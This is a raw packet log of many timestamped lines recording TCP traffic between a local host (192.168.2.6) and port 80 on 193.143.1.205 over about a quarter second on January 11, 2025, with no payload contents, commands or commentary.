Jan 11, 2025 05:15:13.567603111 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.567641020 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.567652941 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.567687035 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.567696095 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.567696095 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.567771912 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.567794085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.567805052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.567831993 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.567843914 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.567856073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.567857981 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.567898035 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.568156958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.568202019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.568248034 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.568377972 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.568428040 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.568463087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.568495989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.568511963 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.568530083 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.568538904 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.568800926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.568851948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.568876982 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.568918943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.569061995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.569072962 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.569097042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.569132090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.569164991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.569175959 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.569199085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.569226980 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.569231987 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.569264889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.569291115 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.569713116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.569762945 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.569773912 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.569813967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.569847107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.569871902 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.569880962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.569914103 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.569931984 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.569947958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.569981098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.569988966 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.570015907 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.570048094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.570056915 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.570091009 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.570159912 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.570573092 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.570642948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.570679903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.570688009 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.570732117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.570781946 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.570816040 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.570820093 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.570856094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.570882082 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.570889950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.570923090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.570929050 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.570956945 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.570991039 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.571016073 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.571506023 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.571558952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.571590900 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.571613073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.571647882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.571681976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.571687937 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.571738005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.571738958 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.571769953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.571804047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.571815014 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.571836948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.571871042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.571898937 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.571906090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.571945906 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.572523117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.572572947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.572626114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.572650909 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.572659016 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.572694063 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.572726011 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.572727919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.572762012 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.572771072 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.572794914 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.572829962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.572844028 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.572864056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.572920084 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.579216957 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.586200953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.586236954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.586271048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.586309910 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.591805935 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.626173019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.626228094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.626260996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.626281977 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.626313925 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.626491070 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.656641960 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.656704903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.656757116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.656790018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.656826019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.656857014 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.656858921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.656884909 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.656893969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.656913996 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.656927109 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.656961918 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.656996965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.657002926 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.657077074 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.658318043 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.658368111 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.658402920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.658426046 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.658436060 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.658471107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.658487082 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.687016964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.687069893 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.687105894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.687139988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.687177896 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.687192917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.687227964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.687230110 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.687247992 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.687263966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.687297106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.687302113 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.687352896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.687386990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.687405109 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.688635111 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.688669920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.688719988 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.688725948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.688760996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.688796997 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.688811064 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.688849926 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.688849926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.688886881 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.688920021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.688929081 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.688954115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.688987017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.689022064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.689043045 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.689070940 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.689074993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.689125061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.689158916 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.689187050 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.689213991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.689249039 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.689282894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.689304113 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.689317942 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.689351082 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.689368010 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.689387083 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.689400911 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.689419985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.689465046 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.689543009 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.689595938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.689647913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.689685106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.689692020 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.689722061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.689758062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.689769030 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.689805031 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.689973116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.690006971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.690051079 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.690057993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.690092087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.690125942 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.690139055 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.690160036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.690198898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.690233946 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.690243959 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.690269947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.690277100 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.690305948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.690340042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.690368891 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.690375090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.690412045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.690412998 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.690577984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.690628052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.690663099 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.690670013 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.690696955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.690732002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.690740108 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.690773010 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.690783024 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.690834045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.690865993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.690893888 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.690898895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.690934896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.690968990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.690982103 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.691004992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.691014051 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.691040039 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.691073895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.691102028 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.691107988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.691143036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.691150904 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.691179037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.691461086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.691504955 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.691514969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.691566944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.691606045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.691615105 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.691638947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.691653013 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.691692114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.691729069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.691732883 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.691768885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.691811085 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.691818953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.691854000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.691890001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.691924095 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.691931009 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.691957951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.691993952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.692006111 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.692029953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.692038059 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.692064047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.692100048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.692106962 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.692456961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.692507982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.692507982 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.692559004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.692594051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.692625999 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.692626953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.692647934 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.692663908 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.692675114 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.692698956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.692734957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.692740917 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.716881037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.716913939 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.716965914 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.717000008 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.717001915 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.717040062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.717056990 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.717073917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.717081070 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.717106104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.717140913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.717185974 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.747137070 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.747230053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.747282028 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.747293949 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.747332096 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.747338057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.747376919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.747411013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.747432947 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.747447968 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.747483015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.747530937 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.748970985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.749026060 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.749061108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.749092102 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.749095917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.749106884 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.749131918 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.749166012 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.749200106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.749212027 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.749233961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.749245882 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.764339924 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.767915964 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.777811050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.777867079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.777896881 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.777903080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.777937889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.777954102 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.777992010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.778027058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.778039932 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.778062105 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.778096914 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.778106928 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.778132915 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.778167963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.778178930 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.778202057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.778233051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.778244019 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.778266907 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.778304100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.778309107 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.778332949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.778376102 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.778806925 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.779366970 CET	80	49710	193.143.1.205	192.168.2.6
